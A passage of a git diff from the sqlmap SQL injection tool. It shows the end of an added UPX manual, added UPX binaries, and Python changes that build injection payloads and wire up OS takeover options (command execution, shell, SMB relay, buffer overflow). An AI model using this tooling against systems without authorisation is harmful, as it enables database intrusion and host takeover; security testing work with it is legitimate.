      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +

      NOTES FOR LINUX [general]

      +

      Introduction

      +
      +  Linux/386 support in UPX consists of 3 different executable formats,
      +  one optimized for ELF executables ("linux/elf386"), one optimized
      +  for shell scripts ("linux/sh386"), and one generic format
      +  ("linux/386").
      +
      +  We will start with a general discussion first, but please
      +  also read the relevant docs for each of the individual formats.
      +
      +  Also, there is special support for bootable kernels - see the
      +  description of the vmlinuz/386 format.
      +

      General user's overview

      +
      +  Running a compressed executable program trades less space on a
      +  ``permanent'' storage medium (such as a hard disk, floppy disk,
      +  CD-ROM, flash memory, EPROM, etc.) for more space in one or more
      +  ``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
      +  Running a compressed executable also requires some additional CPU
      +  cycles to generate the compressed executable in the first place,
      +  and to decompress it at each invocation.
      +
      +  How much space is traded?  It depends on the executable, but many
      +  programs save 30% to 50% of permanent disk space.  How much CPU
      +  overhead is there?  Again, it depends on the executable, but
      +  decompression speed generally is at least many megabytes per second,
      +  and frequently is limited by the speed of the underlying disk
      +  or network I/O.
      +
      +  Depending on the statistics of usage and access, and the relative
      +  speeds of CPU, RAM, swap space, /tmp, and file system storage, then
      +  invoking and running a compressed executable can be faster than
      +  directly running the corresponding uncompressed program.
      +  The operating system might perform fewer expensive I/O operations
      +  to invoke the compressed program.  Paging to or from swap space
      +  or /tmp might be faster than paging from the general file system.
      +  ``Medium-sized'' programs which access about 1/3 to 1/2 of their
      +  stored program bytes can do particularly well with compression.
      +  Small programs tend not to benefit as much because the absolute
      +  savings is less.  Big programs tend not to benefit proportionally
      +  because each invocation may use only a small fraction of the program,
      +  yet UPX decompresses the entire program before invoking it.
      +  But in environments where disk or flash memory storage is limited,
      +  then compression may win anyway.
      +
      +  Currently, executables compressed by UPX do not share RAM at runtime
      +  in the way that executables mapped from a file system do.  As a
      +  result, if the same program is run simultaneously by more than one
      +  process, then using the compressed version will require more RAM and/or
      +  swap space.  So, shell programs (bash, csh, etc.)  and ``make''
      +  might not be good candidates for compression.
      +
      +  UPX recognizes three executable formats for Linux: Linux/elf386,
      +  Linux/sh386, and Linux/386.  Linux/386 is the most generic format;
      +  it accommodates any file that can be executed.  At runtime, the UPX
      +  decompression stub re-creates in /tmp a copy of the original file,
      +  and then the copy is (re-)executed with the same arguments.
      +  ELF binary executables prefer the Linux/elf386 format by default,
      +  because UPX decompresses them directly into RAM, uses only one
      +  exec, does not use space in /tmp, and does not use /proc.
      +  Shell scripts where the underlying shell accepts a ``-c'' argument
      +  can use the Linux/sh386 format.  UPX decompresses the shell script
      +  into low memory, then maps the shell and passes the entire text of the
      +  script as an argument with a leading ``-c''.
      +

      General benefits:

      +
      +  - UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
      +    libc6, Shell/Perl/Python/... scripts, standalone Java .class
      +    binaries, or whatever...
      +    All scripts and programs will work just as before.
      +
      +  - Compressed programs are completely self-contained. No need for
      +    any external program.
      +
      +  - UPX keeps your original program untouched. This means that
      +    after decompression you will have a byte-identical version,
      +    and you can use UPX as a file compressor just like gzip.
      +    [ Note that UPX maintains a checksum of the file internally,
      +      so it is indeed a reliable alternative. ]
      +
      +  - As the stub only uses syscalls and isn't linked against libc it
      +    should run under any Linux configuration that can run ELF
      +    binaries.
      +
      +  - For the same reason compressed executables should run under
      +    FreeBSD and other systems which can run Linux binaries.
      +    [ Please send feedback on this topic ]
      +

      General drawbacks:

      +
      +  - It is not advisable to compress programs which usually have many
      +    instances running (like `sh' or `make') because the common segments of
      +    compressed programs won't be shared any longer between different
      +    processes.
      +
      +  - `ldd' and `size' won't show anything useful because all they
      +    see is the statically linked stub.  Since version 0.82 the section
      +    headers are stripped from the UPX stub and `size' doesn't even
      +    recognize the file format.  The file patches/patch-elfcode.h has a
      +    patch to fix this bug in `size' and other programs which use GNU BFD.
      +

      General notes:

      +
      +  - As UPX leaves your original program untouched it is advantageous
      +    to strip it before compression.
      +
      +  - If you compress a script you will lose platform independence -
      +    this could be a problem if you are using NFS mounted disks.
      +
      +  - Compression of suid, guid and sticky-bit programs is rejected
      +    because of possible security implications.
      +
      +  - For the same reason there is no sense in making any compressed
      +    program suid.
      +
      +  - Obviously UPX won't work with executables that want to read data
      +    from themselves. E.g., this might be a problem for Perl scripts
      +    which access their __DATA__ lines.
      +
      +  - In case of internal errors the stub will abort with exitcode 127.
      +    Typical reasons for this to happen are that the program has somehow
      +    been modified after compression.
      +    Running `strace -o strace.log compressed_file' will tell you more.
      +

      +

      +

      NOTES FOR LINUX/ELF386

      +

      Please read the general Linux description first.

      +

      The linux/elf386 format decompresses directly into RAM, +uses only one exec, does not use space in /tmp, +and does not use /proc.

      +

      Linux/elf386 is automatically selected for Linux ELF executables.

      +

      Packed programs will be byte-identical to the original after uncompression.

      +

      How it works:

      +
      +  For ELF executables, UPX decompresses directly to memory, simulating
      +  the mapping that the operating system kernel uses during exec(),
      +  including the PT_INTERP program interpreter (if any).
      +  The brk() is set by a special PT_LOAD segment in the compressed
      +  executable itself.  UPX then wipes the stack clean except for
      +  arguments, environment variables, and Elf_auxv entries (this is
      +  required by bugs in the startup code of /lib/ld-linux.so as of
      +  May 2000), and transfers control to the program interpreter or
      +  the e_entry address of the original executable.
      +
      +  The UPX stub is about 1700 bytes long, partly written in assembler
      +  and only uses kernel syscalls. It is not linked against any libc.
      +

      Specific drawbacks:

      +
      +  - For linux/elf386 and linux/sh386 formats, you will be relying on
      +    RAM and swap space to hold all of the decompressed program during
      +    the lifetime of the process.  If you already use most of your swap
      +    space, then you may run out.  A system that is "out of memory"
      +    can become fragile.  Many programs do not react gracefully when
      +    malloc() returns 0.  With newer Linux kernels, the kernel
      +    may decide to kill some processes to regain memory, and you
      +    may not like the kernel's choice of which to kill.  Running
      +    /usr/bin/top is one way to check on the usage of swap space.
      +

      Extra options available for this executable format:

      +
      +  (none)
      +

      +

      +

      NOTES FOR LINUX/SH386

      +

      Please read the general Linux description first.

      +

      Shell scripts where the underling shell accepts a ``-c'' argument +can use the Linux/sh386 format. UPX decompresses the shell script +into low memory, then maps the shell and passes the entire text of the +script as an argument with a leading ``-c''. +It does not use space in /tmp, and does not use /proc.

      +

      Linux/sh386 is automatically selected for shell scripts that +use a known shell.

      +

      Packed programs will be byte-identical to the original after uncompression.

      +

      How it works:

      +
      +  For shell script executables (files beginning with "#!/" or "#! /")
      +  where the shell is known to accept "-c <command>", UPX decompresses
      +  the file into low memory, then maps the shell (and its PT_INTERP),
      +  and passes control to the shell with the entire decompressed file
      +  as the argument after "-c".  Known shells are sh, ash, bash, bsh, csh,
      +  ksh, tcsh, pdksh.  Restriction: UPX cannot use this method
      +  for shell scripts which use the one optional string argument after
      +  the shell name in the script (example: "#! /bin/sh option3\n".)
      +
      +  The UPX stub is about 1700 bytes long, partly written in assembler
      +  and only uses kernel syscalls. It is not linked against any libc.
      +

      Specific drawbacks:

      +
      +  - For linux/elf386 and linux/sh386 formats, you will be relying on
      +    RAM and swap space to hold all of the decompressed program during
      +    the lifetime of the process.  If you already use most of your swap
      +    space, then you may run out.  A system that is "out of memory"
      +    can become fragile.  Many programs do not react gracefully when
      +    malloc() returns 0.  With newer Linux kernels, the kernel
      +    may decide to kill some processes to regain memory, and you
      +    may not like the kernel's choice of which to kill.  Running
      +    /usr/bin/top is one way to check on the usage of swap space.
      +

      Extra options available for this executable format:

      +
      +  (none)
      +

      +

      +

      NOTES FOR LINUX/386

      +

      Please read the general Linux description first.

      +

      The generic linux/386 format decompresses to /tmp and needs +/proc file system support. It starts the decompressed program +via the execve() syscall.

      +

      Linux/386 is only selected if the specialized linux/elf386 +and linux/sh386 won't recognize a file.

      +

      Packed programs will be byte-identical to the original after uncompression.

      +

      How it works:

      +
      +  For files which are not ELF and not a script for a known "-c" shell,
      +  UPX uses kernel execve(), which first requires decompressing to a
      +  temporary file in the file system.  Interestingly -
      +  because of the good memory management of the Linux kernel - this
      +  often does not introduce a noticeable delay, and in fact there
      +  will be no disk access at all if you have enough free memory as
      +  the entire process takes places within the file system buffers.
      +
      +  A compressed executable consists of the UPX stub and an overlay
      +  which contains the original program in a compressed form.
      +
      +  The UPX stub is a statically linked ELF executable and does
      +  the following at program startup:
      +
      +    1) decompress the overlay to a temporary location in /tmp
      +    2) open the temporary file for reading
      +    3) try to delete the temporary file and start (execve)
      +       the uncompressed program in /tmp using /proc/<pid>/fd/X as
      +       attained by step 2)
      +    4) if that fails, fork off a subprocess to clean up and
      +       start the program in /tmp in the meantime
      +
      +  The UPX stub is about 1700 bytes long, partly written in assembler
      +  and only uses kernel syscalls. It is not linked against any libc.
      +

      Specific drawbacks:

      +
      +  - You need additional free disk space for the uncompressed program
      +    in your /tmp directory. This program is deleted immediately after
      +    decompression, but you still need it for the full execution time
      +    of the program.
      +
      +  - You must have /proc file system support as the stub wants to open
      +    /proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
      +    cannot compress programs that are used during the boot sequence
      +    before /proc is mounted.
      +
      +  - Utilities like `top' will display numerical values in the process
      +    name field. This is because Linux computes the process name from
      +    the first argument of the last execve syscall (which is typically
      +    something like /proc/<pid>/fd/3).
      +
      +  - Because of temporary decompression to disk the decompression speed
      +    is not as fast as with the other executable formats. Still, I can see
      +    no noticeable delay when starting programs like my ~3 MiB emacs (which
      +    is less than 1 MiB when compressed :-).
      +

      Extra options available for this executable format:

      +
      +  --force-execve      Force the use of the generic linux/386 "execve"
      +                      format, i.e. do not try the linux/elf386 and
      +                      linux/sh386 formats.
      +

      +

      +

      NOTES FOR PS1/EXE

      +

      This is the executable format used by the Sony PlayStation (PSone), +a Mips R3000 based gaming console which is popular since the late '90s. +Support of this format is very similar to the Atari one, because of +nostalgic feelings of one of the authors.

      +

      Packed programs will be byte-identical to the original after uncompression, +until further notice.

      +

      Maximum uncompressed size: ~1.89 / ~7.60 MiB.

      +

      Notes:

      +
      +  - UPX creates as default a suitable executable for CD-Mastering
      +    and console transfer. For a CD-Master main executable you could also try
      +    the special option "--boot-only" as described below.
      +    It has been reported that upx packed executables are fully compatible with
      +    the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
      +    Sony PlayStation (PSone) emulation mode.
      +
      +  - Normally the packed files use the same memory areas like the uncompressed
      +    versions, so they will not override other memory areas while unpacking.
      +    If this isn't possible UPX will abort showing a 'packed data overlap'
      +    error. With the "--force" option UPX will relocate the loading address
      +    for the packed file, but this isn't a real problem if it is a single or
      +    the main executable.
      +

      Extra options available for this executable format:

      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --8-bit             Uses 8 bit size compression [default: 32 bit]
      +
      +  --8mib-ram          PSone has 8 MiB ram available [default: 2 MiB]
      +
      +  --boot-only         This format is for main exes and CD-Mastering only !
      +                      It may slightly improve the compression ratio,
      +                      decompression routines are faster than default ones.
      +                      But it cannot be used for console transfer !
      +
      +  --no-align          This option disables CD mode 2 data sector format
      +                      alignment. May slightly improves the compression ratio,
      +                      but the compressed executable will not boot from a CD.
      +                      Use it for console transfer only !
      +

      +

      +

      NOTES FOR RTM32/PE and ARM/PE

      +

      Same as win32/pe.

      +

      +

      +

      NOTES FOR TMT/ADAM

      +

      This format is used by the TMT Pascal compiler - see http://www.tmt.com/ .

      +

      Extra options available for this executable format:

      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +

      NOTES FOR VMLINUZ/386

      +

      The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed +bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''), +gzip-decompress it and re-compress it with the UPX compression method.

      +

      vmlinuz/386 is completely unrelated to the other Linux executable +formats, and it does not share any of their drawbacks.

      +

      Notes:

      +
      +  - Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
      +  during compression - otherwise a wrong executable format
      +  may have been used, and the kernel won't boot.
      +

      Benefits:

      +
      +  - Better compression (but note that the kernel was already compressed,
      +  so the improvement is not as large as with other formats).
      +  Still, the bytes saved may be essential for special needs like
      +  boot disks.
      +
      +     For example, this is what I get for my 2.2.16 kernel:
      +        1589708  vmlinux
      +         641073  bzImage        [original]
      +         560755  bzImage.upx    [compressed by "upx -9"]
      +
      +  - Much faster decompression at kernel boot time (but kernel
      +    decompression speed is not really an issue these days).
      +

      Drawbacks:

      +
      +  (none)
      +

      Extra options available for this executable format:

      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +

      NOTES FOR WATCOM/LE

      +

      UPX has been successfully tested with the following extenders: + DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay. + The WDOS/X extender is partly supported (for details + see the file bugs BUGS).

      +

      DLLs and the LX format are not supported.

      +

      Extra options available for this executable format:

      +
      +  --le                Produce an unbound LE output instead of
      +                      keeping the current stub.
      +

      +

      +

      NOTES FOR WIN32/PE

      +

      The PE support in UPX is quite stable now, but probably there are +still some incompatibilities with some files.

      +

      Because of the way UPX (and other packers for this format) works, you +can see increased memory usage of your compressed files because the whole +program is loaded into memory at startup. +If you start several instances of huge compressed programs you're +wasting memory because the common segments of the program won't +get shared across the instances. +On the other hand if you're compressing only smaller programs, or +running only one instance of larger programs, then this penalty is +smaller, but it's still there.

      +

      If you're running executables from network, then compressed programs +will load faster, and require less bandwidth during execution.

      +

      DLLs are supported. But UPX compressed DLLs can not share common data and +code when they got used by multiple applications. So compressing msvcrt.dll +is a waste of memory, but compressing the dll plugins of a particular +application may be a better idea.

      +

      Screensavers are supported, with the restriction that the filename +must end with ``.scr'' (as screensavers are handled slightly different +than normal exe files).

      +

      UPX compressed PE files have some minor memory overhead (usually in the +10 - 30 KiB range) which can be seen by specifying the ``-i'' command +line switch during compression.

      +

      Extra options available for this executable format:

      +
      + --compress-exports=0 Don't compress the export section.
      +                      Use this if you plan to run the compressed
      +                      program under Wine.
      + --compress-exports=1 Compress the export section. [DEFAULT]
      +                      Compression of the export section can improve the
      +                      compression ratio quite a bit but may not work
      +                      with all programs (like winword.exe).
      +                      UPX never compresses the export section of a DLL
      +                      regardless of this option.
      +
      +  --compress-icons=0  Don't compress any icons.
      +  --compress-icons=1  Compress all but the first icon.
      +  --compress-icons=2  Compress all icons which are not in the
      +                      first icon directory. [DEFAULT]
      +  --compress-icons=3  Compress all icons.
      +
      +  --compress-resources=0  Don't compress any resources at all.
      +
      +  --keep-resource=list Don't compress resources specified by the list.
      +                      The members of the list are separated by commas.
      +                      A list member has the following format: I<type[/name]>.
      +                      I<Type> is the type of the resource. Standard types
      +                      must be specified as decimal numbers, user types can be
      +                      specified by decimal IDs or strings. I<Name> is the
      +                      identifier of the resource. It can be a decimal number
      +                      or a string. For example:
      +
      +                      --keep-resource=2/MYBITMAP,5,6/12345
      +
      +                      UPX won't compress the named bitmap resource "MYBITMAP",
      +                      it leaves every dialog (5) resource uncompressed, and
      +                      it won't touch the string table resource with identifier
      +                      12345.
      +
      +  --force             Force compression even when there is an
      +                      unexpected value in a header field.
      +                      Use with care.
      +
      +  --strip-relocs=0    Don't strip relocation records.
      +  --strip-relocs=1    Strip relocation records. [DEFAULT]
      +                      This option only works on executables with base
      +                      address greater or equal to 0x400000. Usually the
      +                      compressed files becomes smaller, but some files
      +                      may become larger. Note that the resulting file will
      +                      not work under Windows 3.x (Win32s).
      +                      UPX never strips relocations from a DLL
      +                      regardless of this option.
      +
      +  --all-methods       Compress the program several times, using all
      +                      available compression methods. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default method gives the best results anyway.
      +
      +  --all-filters       Compress the program several times, using all
      +                      available preprocessing filters. This may improve
      +                      the compression ratio in some cases, but usually
      +                      the default filter gives the best results anyway.
      +

      +

      +
      +

      DIAGNOSTICS

      +

      Exit status is normally 0; if an error occurs, exit status +is 1. If a warning occurs, exit status is 2.

      +

      UPX's diagnostics are intended to be self-explanatory.

      +

      +

      +
      +

      BUGS

      +

      Please report all bugs immediately to the authors.

      +

      +

      +
      +

      AUTHORS

      +
      + Markus F.X.J. Oberhumer <markus@oberhumer.com>
      + http://www.oberhumer.com
      +
      + Laszlo Molnar <ml1050@users.sourceforge.net>
      +
      + John F. Reiser <jreiser@BitWagon.com>
      +
      + Jens Medoch <jssg@users.sourceforge.net>
      +

      +

      +
      +

      COPYRIGHT

      +

      Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer

      +

      Copyright (C) 1996-2008 Laszlo Molnar

      +

      Copyright (C) 2000-2008 John F. Reiser

      +

      Copyright (C) 2002-2008 Jens Medoch

      +

      This program may be used freely, and you are welcome to +redistribute it under certain conditions.

      +

      This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +UPX License Agreement for more details.

      +

      You should have received a copy of the UPX License Agreement along +with this program; see the file LICENSE. If not, visit the UPX home page.

      + + + + diff --git a/lib/contrib/upx/linux/upx b/lib/contrib/upx/linux/upx new file mode 100755 index 000000000..22424d92c Binary files /dev/null and b/lib/contrib/upx/linux/upx differ diff --git a/lib/contrib/upx/windows/upx.exe b/lib/contrib/upx/windows/upx.exe new file mode 100755 index 000000000..6266213c6 Binary files /dev/null and b/lib/contrib/upx/windows/upx.exe differ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/controller/action.py b/lib/controller/action.py index fbd910ee2..c5202d123 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -77,7 +77,7 @@ def action(): if conf.timeTest: dumper.string("time based blind sql injection payload", timeTest()) - if conf.unionTest: + if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition: dumper.string("valid union", unionTest()) # Enumeration options @@ -127,11 +127,27 @@ def action(): # File system options if conf.rFile: - dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) + dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False) if conf.wFile: - dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile)) + conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) + + # Operating system options + if conf.osCmd: + conf.dbmsHandler.osCmd() - # Takeover options if conf.osShell: conf.dbmsHandler.osShell() + + if conf.osPwn: + conf.dbmsHandler.osPwn() + + if conf.osSmb: + conf.dbmsHandler.osSmb() + + if conf.osBof: + conf.dbmsHandler.osBof() + + # Miscellaneous options + if conf.cleanup: + conf.dbmsHandler.cleanup() diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 784ebda6c..e14dd5ac5 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 38e500fa4..44294d9b8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -65,7 +65,7 @@ def __selectInjection(injData): message += "\n" - message += "[q] Quit\nChoice: " + message += "[q] Quit" select = readInput(message, default="0") if not select: @@ -126,7 +126,7 @@ def start(): if conf.data: message += "\nPOST data: %s" % conf.data - message += "\ndo you want to test this url? [Y/n/q] " + message += "\ndo you want to test this url? [Y/n/q]" test = readInput(message, default="Y") if not test: @@ -186,13 +186,23 @@ def start(): paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): - if not checkDynParam(place, parameter, value): + testSqlInj = True + + # Avoid dinamicity test if the user provided the + # parameter manually + if parameter in conf.testParameter: + pass + + elif not checkDynParam(place, parameter, value): warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) logger.warn(warnMsg) + testSqlInj = False + else: logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logger.info(logMsg) + if testSqlInj == True: for parenthesis in range(0, 4): logMsg = "testing sql injection on %s " % place logMsg += "parameter '%s' with " % parameter diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 9ce9e2cf1..2faca3717 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -57,7 +57,9 @@ def setHandler(): if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) + count += 1 + continue dbmsHandler = dbmsEntry() diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/agent.py b/lib/core/agent.py index cc28021da..67c1d4c56 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -47,28 +47,32 @@ class Agent: temp.stop = randomStr(6) - def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False): + def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False): """ This method replaces the affected parameter with the SQL injection statement to request """ - negValue = "" - retValue = "" + falseValue = "" + negValue = "" + retValue = "" if negative == True or conf.paramNegative == True: negValue = "-" + elif falseCond == True or conf.paramFalseCond == True: + randInt = randomInt() + falseValue = " AND %d=%d" % (randInt, randInt + 1) # After identifing the injectable parameter if kb.injPlace == "User-Agent": retValue = kb.injParameter.replace(kb.injParameter, - "%s%s" % (negValue, kb.injParameter + newValue)) + "%s%s" % (negValue, kb.injParameter + falseValue + newValue)) elif kb.injParameter: paramString = conf.parameters[kb.injPlace] paramDict = conf.paramDict[kb.injPlace] value = paramDict[kb.injParameter] retValue = paramString.replace("%s=%s" % (kb.injParameter, value), - "%s=%s%s" % (kb.injParameter, negValue, value + newValue)) + "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue)) # Before identifing the injectable parameter elif parameter == "User-Agent": @@ -259,6 +263,7 @@ class Agent: fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) + fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I) fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) fieldsNoSelect = query @@ -267,6 +272,8 @@ class Agent: fieldsToCastStr = fieldsSelectTop.groups()[0] elif fieldsSelectDistinct: fieldsToCastStr = fieldsSelectDistinct.groups()[0] + elif fieldsSelectCase: + fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: fieldsToCastStr = fieldsSelectFrom.groups()[0] elif fieldsSelect: @@ -281,10 +288,25 @@ class Agent: #if query.startswith("SELECT ") and "(SELECT " in query: # fieldsSelectFrom = None - return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr + return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr - def concatQuery(self, query): + def simpleConcatQuery(self, query1, query2): + concatenatedQuery = "" + + if kb.dbms == "MySQL": + concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) + + elif kb.dbms in ( "PostgreSQL", "Oracle" ): + concatenatedQuery = "%s||%s" % (query1, query2) + + elif kb.dbms == "Microsoft SQL Server": + concatenatedQuery = "%s+%s" % (query1, query2) + + return concatenatedQuery + + + def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. @@ -310,54 +332,67 @@ class Agent: @rtype: C{str} """ - concatQuery = "" - query = query.replace(", ", ",") + if unpack == True: + concatenatedQuery = "" + query = query.replace(", ", ",") - fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query) - castedFields = self.nullCastConcatFields(fieldsToCastStr) - concatQuery = query.replace(fieldsToCastStr, castedFields, 1) + fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query) + castedFields = self.nullCastConcatFields(fieldsToCastStr) + concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) + else: + concatenatedQuery = query + fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query) if kb.dbms == "MySQL": - if fieldsSelectFrom: - concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) - concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) + if fieldsSelectCase: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatenatedQuery += ",'%s')" % temp.stop + elif fieldsSelectFrom: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) elif fieldsSelect: - concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) - concatQuery += ",'%s')" % temp.stop + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatenatedQuery += ",'%s')" % temp.stop elif fieldsNoSelect: - concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) + concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop) elif kb.dbms in ( "PostgreSQL", "Oracle" ): - if fieldsSelectFrom: - concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) - concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) + if fieldsSelectCase: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatenatedQuery += "||'%s'" % temp.stop + elif fieldsSelectFrom: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) elif fieldsSelect: - concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) - concatQuery += "||'%s'" % temp.stop + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatenatedQuery += "||'%s'" % temp.stop elif fieldsNoSelect: - concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) + concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop) - if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ): - concatQuery += " FROM DUAL" + if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ): + 